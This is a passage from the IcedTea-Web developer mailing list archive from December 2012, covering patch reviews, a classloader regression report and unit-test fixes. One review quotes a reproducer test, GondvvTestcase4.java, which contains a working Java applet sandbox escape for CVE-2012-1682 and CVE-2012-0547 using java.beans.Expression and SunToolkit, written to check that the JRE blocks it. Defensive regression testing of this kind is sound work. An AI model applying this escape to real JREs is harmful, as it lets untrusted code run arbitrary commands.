otherwise, when some (or even similar) java is hanging in time of hook execution, then flush is not correct due to ConcurrentModification exception and so lost. Because of killing in testing this happens. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: synchronizedLoger.patch Type: text/x-patch Size: 3804 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/cf372b22/synchronizedLoger.patch From jvanek at redhat.com Mon Dec 17 06:43:27 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 15:43:27 +0100 Subject: Fwd: [rfc][icedtea-web] @Remote and automated manual testcases In-Reply-To: <5032730C.6060706@redhat.com> References: <5032730C.6060706@redhat.com> Message-ID: <50CF2F8F.805@redhat.com> ping? -------- Original Message -------- Subject: [rfc][icedtea-web] @Remote and automated manual testcases Date: Mon, 20 Aug 2012 19:25:32 +0200 From: Jiri Vanek To: IcedTea Distro List hi! I would like to introduce Remote annotation for launching remote jnlp files (and appelts). Especially for automation of http://icedtea.classpath.org/wiki/IcedTea-Web-Tests . For jnlp files I would like to continue in way as suggested in patch (as most of them for now do not have any output :-/ [but I know that a lot of *have* output to check]). For applets there will be challenge to deal with various certficates, but it will be possible by new robot-like engien we are trying now in brno. Currently the remote tests are run in default and no sign of @remote is in html report. But both will be fixed in case that this annotation and automatism will be found worthy. Also some changes in wiki I would like to introduce after this automation is done. eg for now it will be like: ... IcedTea-Web webstart test applications Note: A lot of these are not Free Software. http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp (automated) http://www.arbores.ca/AnnuityCalc.jnlp (automated) http://www.ucware.com/apev/jaws/apev.jnlp (not working, one needs paied account) http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp (sometimes do not start, always starts with -Xtrustall, automated) http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp (automatised, with -Xnofork, otherwise do not close correctly) http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp (automated) http://www.crossftp.com/crossftp.jnlp (trial, can't be automated) http://www.arbores.ca/Deposit.jnlp http://java.sun.com/javase/technologies/desktop/javawebstart/apps/draw.jnlp ... Where automatised can be links to test files. Hope that this is worthy. There is close connection with [rfc][icedtea-web] do exec java instead of plain java in javaws. If it will not able to go in, then I will need to add some killing mechanism (eg as the one in DeadlockTest - Xfork tests) Regards, J. -------------- next part -------------- A non-text attachment was scrubbed... Name: testcases.diff Type: text/x-patch Size: 9443 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/39d25cc6/testcases.diff -------------- next part -------------- A non-text attachment was scrubbed... Name: Remote.diff Type: text/x-patch Size: 6290 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/39d25cc6/Remote.diff From jvanek at redhat.com Mon Dec 17 06:46:26 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 15:46:26 +0100 Subject: Regression in icedtea-web - parent classsloader have been stopped to be invoked Message-ID: <50CF3042.1060908@redhat.com> After this commit - changeset: 514:855087771e7e tag: tip user: Adam Domurad date: Tue Aug 28 14:36:06 2012 -0400 summary: Fix for PR920: Classes attempted to load twice when class extends from outside jar There is regression that parent class loader is never used for searching in classes. I blame also review a lot (me:-/) because unittest was broken by this commit. See: CodeBaseClassLoaderTest.testParentClassLoaderIsAskedForClassesApplication as reproducer. Sorry for late notification, J. From sylvestre at debian.org Fri Dec 14 10:52:40 2012 From: sylvestre at debian.org (Sylvestre Ledru) Date: Fri, 14 Dec 2012 19:52:40 +0100 Subject: VisualVM 1.3.5 In-Reply-To: <50AA12FD.5070003@redhat.com> References: <50AA08DE.3020407@debian.org> <50AA12FD.5070003@redhat.com> Message-ID: <50CB7578.8050007@debian.org> On 19/11/2012 12:07, Jiri Vanek wrote: > On 11/19/2012 11:24 AM, Sylvestre Ledru wrote: >> Hello guys, >> >> I was wondering if you are working on the classpath version of VisualVM >> 1.3.5 ? (or 1.3.4) >> >> I would like to upload this new version in Debian & Ubuntu. >> >> If you don't have time to manage it, I can do it if you can merge my >> changes. >> >> Thanks, >> Sylvestre >> >> PS: My reference is http://icedtea.classpath.org/hg/visualvm >> please apologize if you have an other URL. >> > > Well, maintaining visualVM is my task I'm afraid. But I must admit I do > not have time for it any more(and also wee al hop eit will be soon > rpelaced by Thermostat tool). I will be happy to merge your changes. > Also I will be happy to let you forward all the release cycle as > VisualVM is really out of my scope:( > > Release process is little bit time-consuming - > http://icedtea.classpath.org/wiki/IcedTea-Web - so if you will refuse, > feel free to so, and I will hope to add your changes and then release asap. > > Thanx for notifying! You are welcome. FYI, I haven't been inactive on the subject. I reported a bug on this but I am a bit stuck until I get an answer: http://java.net/jira/browse/VISUALVM-534 Otherwise, it fails to build... Sylvestre From jvanek at redhat.com Mon Dec 17 07:14:46 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 16:14:46 +0100 Subject: [rfc] icedtea-web minor fix for two unittests Message-ID: <50CF36E6.3060606@redhat.com> This tests were wrongly adapted for lates ITW. And so they were incorrectly failing. This should fix them. J. -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedUnittest.patch Type: text/x-patch Size: 6582 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/6aaa13b5/fixedUnittest.patch From jvanek at redhat.com Mon Dec 17 08:21:30 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 17:21:30 +0100 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CB9307.5030801@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> Message-ID: <50CF468A.5010606@redhat.com> On 12/14/2012 09:58 PM, Adam Domurad wrote: > On 12/13/2012 11:35 AM, Jiri Vanek wrote: >> Ok for head? >> >> J. > > I'm assuming this is OK for the repo since this has been made public before. To be exact though this > is testing a property of the JRE. > >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploit.html Mon Sep >> 03 16:04:41 2012 +0200 >> @@ -0,0 +1,42 @@ >> + >> + >> +

> width="100" height="20"> >> +

>> + >> + >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp > > Maybe 'BeansStatementBreakSandbox' would be a bit clearer. > >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitApplet.jnlp >> Mon Sep 03 16:04:41 2012 +0200 >> @@ -0,0 +1,61 @@ >> + >> + >> + >> + >> + BeansStatementExploitApplet >> + IcedTea >> + >> + BeansStatementExploitApplet >> + >> + >> + >> + >> + >> + >> + > + documentBase="." >> + name="BeansStatementExploitApplet" >> + main-class="GondvvMinimal2" >> + width="100" >> + height="100"> >> + >> + >> + >> + >> + >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/resources/BeansStatementExploitWS.jnlp Mon >> Sep 03 16:04:41 2012 +0200 >> @@ -0,0 +1,56 @@ >> + >> + >> + >> + >> + BeansStatementExploitWS >> + IcedTea >> + >> + BeansStatementExploitWS >> + >> + >> + >> + >> + >> + >> + >> + >> + >> + >> + >> + >> diff -r 855087771e7e tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvMinimal2.java Mon Sep 03 16:04:41 >> 2012 +0200 >> @@ -0,0 +1,49 @@ >> +/* GondvvMinimal2.java >> +Copyright (C) 2011 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +import java.applet.Applet; >> + >> + >> +public class GondvvMinimal2 extends Applet { > > I understand why you chose this name, but I would prefer something more descriptive of the intent of > the applet. > >> + >> + @Override >> + public void init() { >> + GondvvTestcase4.main(new String[0]); >> + >> + } >> + >> +} >> diff -r 855087771e7e tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/srcs/GondvvTestcase4.java Mon Sep 03 >> 16:04:41 2012 +0200 >> @@ -0,0 +1,181 @@ >> +/* GondvvTestcase4.java >> +Copyright (C) 2011 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +import java.beans.Statement; >> +import java.beans.Expression; >> + >> +import java.lang.reflect.Field; >> +import java.net.URL; >> +import java.security.*; >> +import java.security.cert.Certificate; >> +import java.io.InputStreamReader; >> +import java.io.BufferedReader; >> + >> +/** >> + * >> + * Summary for @ >> + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682 >> + * and >> + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547 >> + */ >> +public class GondvvTestcase4 { >> + >> + public static int runproc(Process proc) throws Exception { >> + BufferedReader cmdout = new BufferedReader(new InputStreamReader(proc.getInputStream())); >> + String line; >> + while ((line = cmdout.readLine()) != null) { >> + System.out.println(line); >> + } >> + proc.waitFor(); >> + return proc.exitValue(); >> + } >> + >> + public static void runcommand_exploit(String cmd) throws Exception { >> + Expression exec_ex = new Expression(Runtime.getRuntime(), "exec", new String[]{cmd}); >> + >> + Permissions perms = new Permissions(); >> + perms.add(new AllPermission()); >> + ProtectionDomain protdomain = new ProtectionDomain( >> + new CodeSource(new URL("file:///"), new Certificate[0]), perms); >> + AccessControlContext acc = new AccessControlContext(new ProtectionDomain[]{protdomain}); >> + >> + Expression tmp_ex = new Expression(Class.class, "forName", new >> Object[]{"sun.awt.SunToolkit"}); >> + tmp_ex.execute(); >> + Class toolkit = (Class) tmp_ex.getValue(); >> + >> + tmp_ex = new Expression(toolkit, "getField", new Object[]{Statement.class, "acc"}); >> + tmp_ex.execute(); >> + ((Field) tmp_ex.getValue()).set(exec_ex, acc); >> + exec_ex.execute(); >> + >> + runproc((Process) exec_ex.getValue()); >> + } >> + >> + public static void runcommand_direct(String cmd) throws Exception { >> + runproc(Runtime.getRuntime().exec(cmd)); >> + } >> + >> + public static void main(String[] args) { >> + System.out.println("Running GondvvTest"); >> + args = new String[]{"/bin/date"}; >> + try { >> + System.out.println("Directly calling: Class.forName(\"sun.awt.SunToolkit\")"); >> + >> + Object cl = Class.forName("sun.awt.SunToolkit"); >> + System.out.println("FAIL: " + cl.toString()); >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } > > Can you move the FAIL/OK checks into the testcase class possibly ? I guess its OK as it is, but if > you can make the testcase do more checking and not just checking for FAIL it would be good. > >> + System.out.println(); >> + >> + >> + try { >> + System.out.println("Calling: Expression(Class.class, \"forName\", new >> String[]{\"sun.awt.SunToolkit\"})"); >> + >> + Expression ex = new Expression(Class.class, "forName", new >> String[]{"sun.awt.SunToolkit"}); >> + ex.execute(); >> + Object cl = ex.getValue(); >> + System.out.println("FAIL: " + cl.toString()); >> + System.out.println(); >> + System.out.println("Checking if SunToolkit class reference is usable"); >> + try { >> + ex = new Expression(cl, "getField", new Object[]{Byte.class, "SIZE"}); >> + ex.execute(); >> + System.out.println("FAIL: " + ex.getValue().toString()); >> + } catch (NoSuchMethodException e) { >> + System.out.println("INFO: " + e.toString()); >> + e.printStackTrace(); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + >> + try { >> + ex = new Expression(cl, "getField", new Object[]{Statement.class, "acc"}); >> + ex.execute(); >> + System.out.println("FAIL: " + ex.getValue().toString()); >> + } catch (NoSuchMethodException e) { >> + System.out.println("INFO: " + e.toString()); >> + e.printStackTrace(); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + System.out.println(); >> + >> + if (args.length == 0) { >> + } > > ?? > >> + >> + try { >> + System.out.println("Running command directly: " + args[0]); >> + runcommand_direct(args[0]); >> + System.out.println("FAIL: commnad was run"); >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + System.out.println(); >> + >> + try { >> + System.out.println("Running command using exploit: " + args[0]); >> + runcommand_exploit(args[0]); >> + System.out.println("FAIL: commnad was run"); >> + } catch (AccessControlException e) { >> + System.out.println("OK: got expected: " + e.toString()); >> + } catch (NoSuchMethodException e) { >> + System.out.println("FAIL: " + e.toString()); >> + e.printStackTrace(); >> + } catch (Exception e) { >> + System.out.println("FAIL: unexpected exception: " + e.toString()); >> + e.printStackTrace(); >> + } >> + System.out.println(); > > Looks OK but again > >> + >> + >> + } >> +} >> diff -r 855087771e7e >> tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/reproducers/simple/BeansStatementExploit/testcases/BeansStatementExploitTests.java >> Mon Sep 03 16:04:41 2012 +0200 >> @@ -0,0 +1,82 @@ >> +/* BeansStatementExploitTests.java >> +Copyright (C) 2011 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +import net.sourceforge.jnlp.ProcessResult; >> +import net.sourceforge.jnlp.annotations.Bug; >> +import net.sourceforge.jnlp.browsertesting.BrowserTest; >> +import net.sourceforge.jnlp.browsertesting.Browsers; >> +import net.sourceforge.jnlp.annotations.NeedsDisplay; >> +import net.sourceforge.jnlp.annotations.TestInBrowsers; >> +import org.junit.Assert; >> + >> +import org.junit.Test; >> + >> +public class BeansStatementExploitTests extends BrowserTest { >> + >> + @Test >> + @NeedsDisplay >> + @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", >> "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) >> + public void BeansStatementExploitTestWS() throws Exception { >> + ProcessResult pr = server.executeJavawsHeadless(null, "/BeansStatementExploitWS.jnlp"); >> + evaluate(pr); >> + } >> + >> + @Test >> + @NeedsDisplay >> + @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", >> "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) >> + public void BeansStatementExploitTesWsApplet() throws Exception { >> + ProcessResult pr = server.executeJavawsHeadless(null, "/BeansStatementExploitApplet.jnlp"); >> + evaluate(pr); >> + } >> + >> + @Test >> + @TestInBrowsers(testIn = {Browsers.all}) >> + @NeedsDisplay >> + @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", >> "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) >> + public void BeansStatementExploitTestApplet() throws Exception { >> + ProcessResult pr = server.executeBrowser("/BeansStatementExploit.html"); >> + evaluate(pr); >> + Assert.assertTrue(pr.wasTerminated); >> + } >> + >> + private void evaluate(ProcessResult pr) { >> + Assert.assertTrue("Output of reproducerwas empty => it was not run", (pr.stdout.length() >> > 0)); >> + Assert.assertTrue("Output of reproducerwas have not contained 'Running GondvvTest' => it >> was not run", (pr.stdout.contains("Running GondvvTest"))); >> + Assert.assertFalse("Output of reproducer contained FAIL, that means that exploit have >> hacked your system", (pr.stdout.contains("FAIL:"))); >> + >> + } >> +} > > Looks OK, although this seems like something that is better placed in a JRE's test suite, not ITWs. > I have no problems with it going in the repo, though. > > Happy hacking, > -Adam Thank you for review All except FAIL/OK fixed. And for those stdouts I would rather stay with it. I have added also listeners to speed up closing.... J. -------------- next part -------------- A non-text attachment was scrubbed... Name: openjdk-exploit3-reproducer3.diff Type: text/x-patch Size: 22176 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/f4c26741/openjdk-exploit3-reproducer3.diff From jvanek at redhat.com Mon Dec 17 08:42:20 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 17 Dec 2012 17:42:20 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework In-Reply-To: <50C9A7F0.3000201@redhat.com> References: <50C9A7F0.3000201@redhat.com> Message-ID: <50CF4B6C.2040806@redhat.com> On 12/13/2012 11:03 AM, Jana Fabrikova wrote: > 2012-12-13 Jana Fabrikova > > * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: > Added several new versions of method executeBrowser with lists > of ContentReaderListeners as arguments. > > * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: > Added new versions of the constructor and methods for adding > ContentReaderListeners using List > instead of one ContentReaderListener. > Added a new version of constructor with less arguments (used > in case when several arguments would be passed as null, thus > causing ambiguity). > > * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: > Modified the call of executeBrowser method with null arguments > into a call of new method without the null arguments > (getting rid of an ambiguous call). > > > I would like to ask for review of the attached patch, > thank you, > Jana It looks much bettter. You forgot to fix the changelog (parentheses around affected and new methods. Listed with some luck all of them) Still nasty comment: //current browser may be // null, but it does not // matter Should be on one line. Although there are still some duplications I'm ok with them and after above changes ok for head. J. From adomurad at redhat.com Mon Dec 17 08:59:13 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 11:59:13 -0500 Subject: [rfc] icedtea-web minor fix for two unittests In-Reply-To: <50CF36E6.3060606@redhat.com> References: <50CF36E6.3060606@redhat.com> Message-ID: <50CF4F61.3090004@redhat.com> On 12/17/2012 10:14 AM, Jiri Vanek wrote: > This tests were wrongly adapted for lates ITW. And so they were > incorrectly failing. This should fix them. > > J. Thanks for looking into it! > > diff -r 1fe2a4f7981f tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java > --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 11 20:32:26 2012 +0100 > +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Mon Dec 17 16:09:22 2012 +0100 > @@ -68,6 +68,24 @@ > throw new RuntimeException(ex); > } > } > + > + private class DummyJNLPFile extends JNLPFile{ > + > + @Override > + public ResourcesDesc getResources() { > + return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > + } > + > + @Override > + public URL getCodeBase() { > + return CODEBASE_URL; > + } > + > + @Override > + public SecurityDesc getSecurity() { > + return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > + } > + }; +1 > private static final String isWSA = "isWebstartApplication"; > > static void setStaticField(Field field, Object newValue) throws Exception { > @@ -97,47 +115,73 @@ > public void testResourceLoadSuccessCachingApplication() throws Exception { > setWSA(); > //we are testing new resource not in cache > - testResourceLoadSuccessCaching("Main.class"); > + testResourceLoadSuccessCaching2("Main.class"); Just a nitpick, testResourceLoadSuccessCachingApplication calls testResourceLoadSuccessCaching2 but testResourceLoadSuccessCachingApplication2 calls testResourceLoadSuccessCaching1, the mismatch is a little confusing > } > > @Test > public void testResourceLoadSuccessCachingApplet() throws Exception { > setApplet(); > //so new resource again not in cache > - testResourceLoadSuccessCaching("HTMLPanel.java"); > + testResourceLoadSuccessCaching2("Main.class"); > + } > + > + @Test > + public void testResourceLoadSuccessCachingApplication2() throws Exception { > + setWSA(); > + //we are testing new resource not in cache > + testResourceLoadSuccessCaching1("HTMLPanel.java"); > } > > - public void testResourceLoadSuccessCaching(String r) throws Exception { > - JNLPFile dummyJnlpFile = new JNLPFile() { > + @Test > + public void testResourceLoadSuccessCachingApplet2() throws Exception { > + setApplet(); > + //so new resource again not in cache > + testResourceLoadSuccessCaching1("HTMLPanel.java"); > + } > > - @Override > - public ResourcesDesc getResources() { > - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > - } > + public void testResourceLoadSuccessCaching1(String r) throws Exception { > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > > - @Override > - public URL getCodeBase() { > - return CODEBASE_URL; > - } > - > - @Override > - public SecurityDesc getSecurity() { > - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > - } > - }; > JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); > CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); > > long startTime, stopTime; > > startTime = System.nanoTime(); > - classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + URL u1 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + Assert.assertNull(u1); > stopTime = System.nanoTime(); > long timeOnFirstTry = stopTime - startTime; > ServerAccess.logErrorReprint("" + timeOnFirstTry); > > startTime = System.nanoTime(); > - classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + URL u2 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); > + Assert.assertNull(u2); > + stopTime = System.nanoTime(); > + long timeOnSecondTry = stopTime - startTime; > + ServerAccess.logErrorReprint("" + timeOnSecondTry); > + > + assertTrue(timeOnSecondTry < (timeOnFirstTry / 10)); > + } > + > + public void testResourceLoadSuccessCaching2(String r) throws Exception { I dislike numerically distinguished names strongly :-) I had to do a diff to be sure of the difference here. It seems there should just be one function (equivalent to testResourceLoadSuccessCaching2), and the "net/sourceforge/jnlp/about/" be added to the parameter upon usage. > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > + > + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); > + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); > + > + long startTime, stopTime; > + > + startTime = System.nanoTime(); > + URL u1 = classLoader.findResource(r); > + Assert.assertNull(u1); > + stopTime = System.nanoTime(); > + long timeOnFirstTry = stopTime - startTime; > + ServerAccess.logErrorReprint("" + timeOnFirstTry); > + > + startTime = System.nanoTime(); > + URL u2 = classLoader.findResource(r); > + Assert.assertNull(u2); > stopTime = System.nanoTime(); > long timeOnSecondTry = stopTime - startTime; > ServerAccess.logErrorReprint("" + timeOnSecondTry); > @@ -161,23 +205,7 @@ > } > > public void testResourceLoadFailureCaching() throws Exception { > - JNLPFile dummyJnlpFile = new JNLPFile() { > - > - @Override > - public ResourcesDesc getResources() { > - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > - } > - > - @Override > - public URL getCodeBase() { > - return CODEBASE_URL; > - } > - > - @Override > - public SecurityDesc getSecurity() { > - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > - } > - }; > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > > JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); > CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); > @@ -212,24 +240,8 @@ > } > > public void testParentClassLoaderIsAskedForClasses() throws Exception { > - JNLPFile dummyJnlpFile = new JNLPFile() { > - > - @Override > - public ResourcesDesc getResources() { > - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); > - } > - > - @Override > - public URL getCodeBase() { > - return CODEBASE_URL; > - } > - > - @Override > - public SecurityDesc getSecurity() { > - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); > - } > - }; > - > + JNLPFile dummyJnlpFile = new DummyJNLPFile(); > + > final boolean[] parentWasInvoked = new boolean[1]; > > JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null) { Please also rid of the duplicated dummy in testNullFileSecurityDesc. -Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/9f5c62df/attachment.html From omajid at redhat.com Mon Dec 17 09:01:01 2012 From: omajid at redhat.com (Omair Majid) Date: Mon, 17 Dec 2012 12:01:01 -0500 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CB9307.5030801@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> Message-ID: <50CF4FCD.30103@redhat.com> On 12/14/2012 03:58 PM, Adam Domurad wrote: > On 12/13/2012 11:35 AM, Jiri Vanek wrote: > Looks OK, although this seems like something that is better placed in a > JRE's test suite, not ITWs. Agreed. While it is nice to have another test to check a security property, I am not sure how sensible it is to add this test to icedtea-web. The test is, after all, testing that the JRE enforces a security check when a certain operation is performed. We do have a number of tests that check that the code in icedtea-web is running in a sandbox, but nothing that is as specific as this. I would like to know what's the motivation for adding this specific test to icedtea-web. Thanks, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From adomurad at redhat.com Mon Dec 17 09:10:19 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 12:10:19 -0500 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CF468A.5010606@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> <50CF468A.5010606@redhat.com> Message-ID: <50CF51FB.8040503@redhat.com> > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandbox.html > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandbox.html > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,42 @@ > + > + > +

archive="BeansStatementBreakSandbox.jar" codebase="." width="100" > height="20"> > +

